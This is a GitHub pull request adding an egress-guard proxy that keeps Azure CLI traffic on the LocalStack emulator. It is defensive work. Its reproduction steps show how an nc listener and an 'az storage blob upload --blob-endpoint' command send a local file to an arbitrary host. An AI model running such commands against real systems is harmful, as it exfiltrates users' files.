Skip to content

feat(azure): keep az's network traffic on the emulator with an egress guard - #94

Open
DrisDary wants to merge 1 commit into
mainfrom
feat/azure-egress-guard
Open

DrisDary wants to merge 1 commit into
mainfrom
feat/azure-egress-guard

Conversation

@DrisDary

Copy link
Copy Markdown
Contributor

What

Every az run now goes through an egress guard: a proxy on 127.0.0.1 that the Azure tool starts for that run and points HTTPS_PROXY and HTTP_PROXY at.

  • What it relays: only the emulator's names (localhost.localstack.cloud and every name under it, localhost, 127.0.0.1, ::1), and only on the emulator's ports (LOCALSTACK_PORT, 443 and the external-service range). It maps those names to loopback itself.
  • Everything else: refused with 403, and the tool's answer names the refused host.
  • DNS check removed: the emulator check no longer resolves azure.localhost.localstack.cloud. az reaches it through the guard, so routers that block LocalStack's DNS answers no longer matter.
  • Docs: docs/AZURE.md now covers what az can reach, and what the guard does not cover.

Why

A command can name any endpoint, and az sends it the file the command reads:

  1. Listen on this machine's LAN address, for example nc -l 192.168.1.20 8080.
  2. Ask the Azure tool to run storage blob upload --blob-endpoint http://192.168.1.20:8080 --account-name acct --account-key <any base64> -f <a local file> -c c -n n.txt.
  3. On main, the listener receives the file and the tool reports success. With the guard, the command fails with "blocked by the egress guard", the answer names 192.168.1.20, and the listener receives nothing.

A connection string with a BlobEndpoint behaves the same way. An https endpoint is refused too, but az's SDK retries the refused tunnel for about a minute and a half before it gives up.

Not covered

The guard covers what honours HTTPS_PROXY and HTTP_PROXY: az itself, the Azure SDKs and MSAL, and Bicep. It does not cover programs that open connections of their own, such as:

  • the Docker daemon behind az acr login;
  • a database client behind flexible-server connect.

Tests

  • egress-guard.test.ts, with real sockets:
    • it tunnels and forwards to the emulator's names on loopback without DNS;
    • it refuses other hosts and other local ports, and records them;
    • it answers a malformed request with 400;
    • close() ends open tunnels.
  • services.test.ts: each run gets a guard of its own, closed afterwards, and its refusals come back with the result.
  • output.test.ts: the answer names the refused hosts on a failure or a timeout, and not on a success.
  • azure-smoke.yml has a new step: an endpoint outside the emulator is refused.

@DrisDary DrisDary self-assigned this Oct 13, 2026
@DrisDary

Copy link
Copy Markdown
Contributor Author

@HarshCasper this is follow-up 1 from our plan, the egress guard. Every az run now goes through a local proxy that only reaches the emulator, so an endpoint in a command (--blob-endpoint, a connection string) can't send data elsewhere. Reproduction steps are in the description. Ready for review when you have time.

@DrisDary
DrisDary marked this pull request as ready for review October 13, 2026 11:49
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant